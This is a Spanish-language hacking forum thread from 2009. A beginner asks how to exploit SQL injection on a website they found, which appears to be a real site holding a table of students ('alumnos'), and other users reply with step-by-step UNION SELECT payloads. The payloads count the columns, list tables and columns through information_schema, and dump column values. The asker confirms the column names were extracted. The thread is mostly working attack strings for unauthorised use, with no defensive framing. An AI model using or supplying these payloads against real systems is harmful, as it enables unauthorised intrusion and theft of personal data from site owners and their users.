duda sql injection

Iniciado por emma93, 27 Septiembre 2009, 20:02 PM

0 Miembros y 1 Visitante están viendo este tema.

emma93

bueno, resulta que tengo un problema.

soy nuevo en todo esto del hacking, digamos :P

y encontré una web vulnerable a sql, el tema es que le hago order by, para saber el número de columnas.

Llegué a la conclusión que tiene 12 columnas. Bien, ahora el tema es hacerle union select.

Hice -1+union+select+1,2,3,4,5,6,7,8,9,10,11,12

Pero tengo un problema, no se el nombre de las tablas ni de las columnas.

Estos nombres hay alguna forma de saberlos ? O es cuestión de probar ?

He probado con los mas comunes (user, users, usuarios, register, registers, members, member, usr, usrs, etc..) Pero no funca ninguno.

Espero que alguno me saque la duda, saludos !

:)

Darioxhcx

mira la version()
si es mas de 5.* existe information_schema , si no , obligado a adivinar la tabla
donde printea en la web

group_concat(table_name),3,4,5,6....+from+information_schema.tables--

para la columna
group_concat(columns_name),3,4,5,6...from+information_schema.columns+where+table_name=char( tabla en ascii)--..

x hai kien dice yte sirve eso:xD
saludos

emma93

Bien, he podido sacar el nombre de todas las tablas mediante el information_schema.tables

Ahora he intentado con el concat(columns_name), pero no se que poner al final (donde dice char).

Que se supone que tengo que poner ahi ?

Espero que puedas ayudarme, y gracias.

Saludos :)

xassiz_

A ver, cada tabla tiene sus columnas.

Entonces tu eliges la tabla a la que le quieres ver las columnas.

Entonces imagina que el nombre de la tabla que quieres ver es usuarios.

Pues coges un conversor y lo pasas a ASCII y listo:

..group_concat(column_name)...+from+information_schema.columns+where+table_name=char(117,115,117,97,114,105,111,115)--

Y te muestra sus columnas :)



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE

emma93

***.php?pagina=1&id=-1+union+select+1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(97,108,109,110,111,115)

He visto y el 3, el 5, y el 9 son vulnerables.

Intento hacerlo en el 3,5 o 9 y siempre me pasa lo mismo.

Tengo una tabla llamada alumnos. Pero al hacer esto no me devuelve las columnas. Lo unico que hace es que desaparezca el numero (vulnerable), sin aparecer ninguna información.

No se si me explico.

xassiz_

Tu pusiste "almnos" ;D

Prueba este:

-1+union+select+1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(97,108,117,109,110,111,115)--


Saludos ;)



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE

emma93

Listo, ahi me devolvió las columnas de una determinada tabla :)

Ahora una última pregunta. Como hago para saber el valor de una columna ?

08l00D

-1+union+select+1,2,3,4,nombrecolumna,6,7,8,9,10,11,12+from+alumnos+limit+0,1--
si queres saber el valor de varias a la vez las concatenas...
-1+union+select+1,2,3,4,concat_ws(0x3a,nomnbrecolumna,otronombrecolumna,etc),6,7,8,9,10,11,12+from+alumnos+limit+0,1--


xassiz_

-1+union+all+select+0,1,concat(columna,0x3a,columna),3,4+from+tabla--

Suponiendo que salto el numero 2



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE